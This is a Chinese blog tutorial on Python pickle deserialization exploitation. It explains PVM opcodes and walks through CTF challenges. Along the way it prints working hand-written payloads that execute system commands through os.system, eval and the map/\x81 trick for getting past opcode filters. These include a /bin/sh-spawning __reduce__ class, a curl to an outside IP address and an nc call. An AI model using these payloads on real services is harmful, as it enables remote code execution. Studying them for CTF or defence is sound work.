0x01 写在前面
本文所有的知识学习和理解都来自于互联网,可能有些地方理解的不是很到位,也有可能理解错误了,如果有错请各位大佬指出,我会积极更正。同时,下面一些地方会引用其他地方一些比较经典的专业术语解释和图片,来帮助加深记忆理解,如有侵权删。
(投稿被拒,扔博客备份一下😭)
0x02 前置知识
__builtin__内建模块
__builtins__ 是内建模块__builtin__中的对象,使用Python中的内建函数时会通过__builtins__引导。
__builtins__ 是对内建模块 __builtin__ 的引用,并且有如下两个方面差异:
在主模块中,即没有被其他文件导入。__builtins__是对 __builtin__ 本身的引用,两者是相同的。
dir(__builtins__)可以查看python所有的内置函数,sys.modules中也存储了对应相应的内置模块和引用模块。也可以直接去builtins.py源文件查看有哪些函数。
漏洞点
pickle简介
下面的知识需要自己有个比较熟悉的记忆和理解,这样有助于后面题目分析时能更快上手,同时理解opcode也更加得心应手!
pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。
PVM 由三部分组成:
- 1、指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。
- 2、stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
- 3、memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。
PS:注意下 stack、memo 的实现方式,方便理解下面的指令。
当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。
- v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。
- v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
- v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。
- v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
- v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。
六个版本差异总结:
当前共有 6 种不同的协议可用于封存操作。 使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新,不同版本中得到的opcode不同。
pickle可以向下兼容,v0 版协议是原始的“人类可读”协议
但直到 python3.9 默认使用的仍为 Protocol 4
同时,我们需要理解到位的是,pickle的解析能力是远远大于它的生成能力的,这也是为什么我们需要去学习如何手写opcode,自动生成的过于死板,我们自己手动写的pickle可以更加灵活多样,所以能够做更多的事情。
opcodes大全(Python3.9)
# Pickle opcodes. See pickletools.py for extensive docs. The listing
# here is in kind-of alphabetical order of 1-character pickle code.
# pickletools groups them by purpose.
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
# Protocol 2
PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
# Protocol 4
SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly
分析手法
可以去pickle.py可以找到所有的opcode操作码,Ctrl点击对应的操作码,可以找到所有被引用的地方,选择有dispatch字样的地方跟进去,这就是对应opcode详细的调用流程,直接审计源码,可以帮助我们更加清晰理解其中opcode的详细操作过程,加深记忆。
还可以使用pickletools
对流程进行分析,他可以将每一步干了些什么都详细的列举出来,非常具象化,可以帮助记忆理解,如下一个pickle例子所示:
handwrite=b'''cbuiltins
map
p0
(cos
system
(Vdir
ttp1
\\x81p2
0cbuiltins
bytes
(g2
t\\x81.'''
\# print(pickle.loads(handwrite))
print(pickletools.dis(handwrite))
输出:
opcode详解
data loading
handwrite=b'I123\n.'
handwrite=b"S'123'\n."
handwrite=b'Vfo\u006f\n.'
print(pickle.loads(handwrite))
stack/memo manipulation(操纵)
List, dict, tuple manipulation
似乎不能上传gif,就不能看到动图理解了,这里放个链接吧:
gif链接
handwrite=b"(S'ttt'\nS'kkk'\nVabc\u006f\nl."
handwrite=b"(S'ttt'\nS'kkk'\nVabc\u006f\nt."
handwrite=b"(S'ttt'\nS'kkk'\nVabc\u006f\nVvalue\nd."
handwrite=b"(S'key1'\nS'value1'\nS'key2'\nS'value2'\ndS'addkey3'\nS'addvalue3'\ns."
print(pickle.loads(handwrite))
object loading
# handwrite=b"cos\nsystem\n."
# handwrite=b"cos\nsystem\n(S'calc'\ntR."
handwrite=b"c__builtin__\nopen\np0\n(S'test'\np1\nS'rb'\np2\ntp3\nRp4\n."
# handwrite=b"cnt\nsystem\np0\n(Vdir\np1\ntp2\nRp3\n."
print(pickletools.dis(handwrite))
print(pickle.loads(handwrite))
上述opcode总结
引用一位大师傅写的opcode详细总结
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stack | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、’等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n(记忆栈) | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象(self.stack) | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
使用opcode的一些限制
opcode手写技巧
1、最后一定要加点**'.'**,这个是pickle反序列化流终止标识符,可以终止pickle反序列化。
2、最基础的模式:
c<module>
<callable>
(<args>
tR
3、前置流需要保持前面的堆栈为空。
4、插入流需要保持堆栈的干净,同时使用memo来存储。
5、只有模块最顶层的调用项是可以被GLOBAL使用的。
6、生成一个对象可以p一下,每一个参数可以p一下,最后生成列表或者元祖或者其他可以p一下,最后R执行的时候也可以p一下,然后换行结束,例子:b"c__builtin__\nopen\np0\n(S'test'\np1\nS'rb'\np2\ntp3\nRp4\n."
7、有了memo可以让编写程序变得更加方便,我们可以灵活运用p和g关键字,px\\n代表将将当前栈顶元素存储到memo的第x个位置;gx\\n代表从memo第x个位置取回元素到当前栈顶。
8、有时ban了对应关键字不能使用S可以用V代替,使用unicode编码绕过。
9、不用环境自己import对于模块我们才能调用它的函数,可以通过c操作码引入对应模块。
10、对于'('操作码引入元祖,你opcode书写的顺序,就是t弹出栈之后引入到元祖里面的顺序,先写的会排在前面。
不同系统下面生成的opcode可能会不一样,例如一些opcode导入的是一个nt模块,这是因为是在win下生成的,linux系统是posix模块,所以拿去linux下进行反序列化的话就会报错。
编写opcode 通过 __builtin__.__import__ 函数导入 os 模块就可以避免这种局限性。
#python pker.py < 1.txt
os = GLOBAL('__builtin__', '__import__')('os')
system = GLOBAL('__builtin__', 'getattr')(os, 'system')
system('whoami')
return
class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))
map的奇淫技巧(确实神奇)
Python:map()函数使用详解map(function, iterable, ...)
作用:该函数通过接收一个函数function作为处理函数,然后接收一个参数序列iterable,并使用处理函数对序列中的每个元素逐一处理,达到映射的功能。(注意:map函数本身是惰性计算的,因此返回的结果并不是真实结果,而是一个需要被显示迭代的迭代器,可用隐式遍历的方法来强制遍历map作用的序列,从而得出输出结果。直白点说,可以吧map作用后的结果转换为list等类型进行输出。)
a=[1,2,3]
b=map(lambda x:x**2+1,a)
print(b)
c=list(b)
print(c)
0x03 实战分析
code-breaking
下面这个是关于从builtins.globals中获取builtins对象的详细操作码。
一共需要三种操作:1、获取dict.get对象 2、获取globals字典对象 3、获取字符串’builtins’
总结就是dict.get(builtins.globals,'builtins')
第一步较为繁琐,是通过builtins.getattr(builtins.dict,’get’)来获取dict.get函数对象。
第二步直接通过builtins.globals()无参直接获取全部上下文的属性和对象。
第三部最简单,直接S’builtins’获取字符串即可。
//dict.get(builtins.globals,'builtins')
b"cbuiltins\ngetattr\n(cbuiltins\ndict\nS'get'\ntRp0\n(cbuiltins\nglobals\n(tRS'builtins'\ntR."
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
通过上面的手法我们获取了builtins对象,然后在通过builtins.getattr(builtins,'eval')
就可以获取到eval函数对象!
//builtins.getattr(builtins,'eval')=builtins.getattr(dict.get(builtins.globals,'builtins'),'eval')
b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tRp0
(cbuiltins
globals
(tRp1
S'builtins'
tRp2
cbuiltins
getattr
(g2
S'eval'
tRp3
(S'__import__("os").system("whoami")'
tRp4
.'''
--------------------
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.
美团ctf2022-easypickle
\x81操作码
关于\x81
操作码的源码,可以很清楚的看到,先传入一个可迭代的参数序列args
,然后传入一个类cls
;args
例子:(exec,['print(1)'])、(os.system,['whoami']))、(eval,('print(1)',))
cls
例子:map、bytes
理解与运用
这一题跟蓝帽杯那一题一样,同样是ban了R、i、o、b这四个操作码,不过前面帮助我们替换了一些关键词进行绕过,有点良心,不过我们还是需要寻找方法得到可用函数绕过关键词的过滤。
主要的trick就是使用map方法:map(func,iters…)来执行函数操作。
还有就是利用了opcode ‘\x81’ # build object by applying cls.__new__ to argtuple
和R是同理的,先从栈上pop出参数args,再从栈上pop出类名cls–>然后调用cls类的__new__方法 参数为args,此时我们只需要找到一个类的__new__方法是我们可以利用的即可。
总结就是:
map.__new__(map,exec,['print(1)'])
list(map.__new__(map,eval,['print(1)']))
list(map.__new__(map,eval,['__import__("os").system("nc 127.0.0.1 9999")']))
bytes.__new__(bytes,map.__new__(map,eval,['print(1)']))
bytes.__new__(bytes,map.__new__(map,__import__('os').system,['whoami']))
bytes.__new__(bytes,map.__new__(map,eval,('print(1)',)))
注意:需要有隐式遍历才有输出结果,如下所示。最后传入的参数应该是要可迭代参数,不能单单是字符串啥的!
稍稍解释一下下面的payload是怎么一回事:
1、首先利用builtins生成map对象,同时p0存入memo,然后0弹出栈;
2、然后(mark元祖开始,存入指令,t弹出mark之后的组成元祖,p1存入memo,0弹出栈;
3、(mark元祖开始标志,c操作码引入os.system函数,g1取出memo位置为1的结果即上面p1存入的命令,t全部弹出组成元祖即(os.system,(‘cmd’,)),然后p2存入memo,0弹出栈
4、g0取出map对象,g2取出上一步形成的(os.system,(‘cmd’,)),然后使用\x81操作码利用__new__魔术方法进行函数执行,这里不能换行!猜测他执行map(os.system,(‘cmd’,))会自动将自身传入__new__魔术方法,然后执行map.new(map,os.system,(‘cmd’,)),p3存入memo,0弹出栈;(关于\x81操作码,可以去看看pickle源码,比较清晰!)
5、c操作码从builtins引入bytes对象,p4存入memo,(mark元祖开始,g3取出上一步的map.new(map,os.system,(‘cmd’,)),t弹出组成元祖,\x81调用__new__魔术方法即bytes.(bytes,map.new(map,os.system,(‘cmd’,))),最后pickle流结束标志符’.’标志反序列化到此结束!
#搬运他人的
#bytes.__new__(bytes,map.__new__(map,os.system,('print(1)',)))
opcode = b'''c__builtin__
map
p0
0(S'curl http://119.91.199.135:1000'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''
#自己手写了一份
#bytes.__new__(bytes,map.__new__(map,os.system,('whoami',)))
b'''cbuiltins
map
p0
(cos
system
(Vdir
ttp1
\x81p2
0cbuiltins
bytes
(g2
t\x81.'''
下面贴一个蓝帽杯file_session的官方opcode:
b"c__builtin__\nmap\np0\n0(]S'print(1111)'\nap1\n0](c__builtin__\nexec\ng1\nep2\n0g0\ng2\n\x81p3\n0c__builtin__\nbytes\np4\ng3\n\x81\n."
-------------------------------------------------------------------
b= b'''c__builtin__
map # 导入 __builtin__.map并push至栈顶
p0 # 将栈顶元素放入memo
0(]S'print(1111)' # 丢弃栈顶第一个元素(class map) 栈顶push一个mark stack上push一个空list stack上push一个string 'print(1111)'
ap1 # 弹出栈顶对象字符串 将现有栈顶对象空列表append弹出的字符串 将栈顶对象对应memo键1的值
0](c__builtin__ # 丢弃栈顶元素 push一个空list 向栈顶push一个mark
exec # 导入 __builtin__.exec并push至栈顶
g1 # 从memo获取键1对应的值(字符串 print(1111)) 并push至栈顶
ep2 # self.metastack pop出一个对象 该对象extend self.stack后替换现有的self.stack
0g0
g2
\x81p3 #实例化新对象 map
0c__builtin__
bytes
p4
g3
\x81
.'''
变量覆盖(call __setstate__ or __dict__.update())
主要就是通过s操作码进行dict的更新插入。
首先是获取到模块下的属性,然后按键值对的顺序一个个查询即可,
每插入一对键值,就可以进行s操作码的更新。
最后就是b操作去**call__setstate__ or __dict__.update()**函数方法进行值的覆盖。
cguess_game
game
}S'round_count'
I10
sS'win_count'
I10
sb
0x04 参考
BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
[【2022蓝帽杯】file_session && 浅入opcode](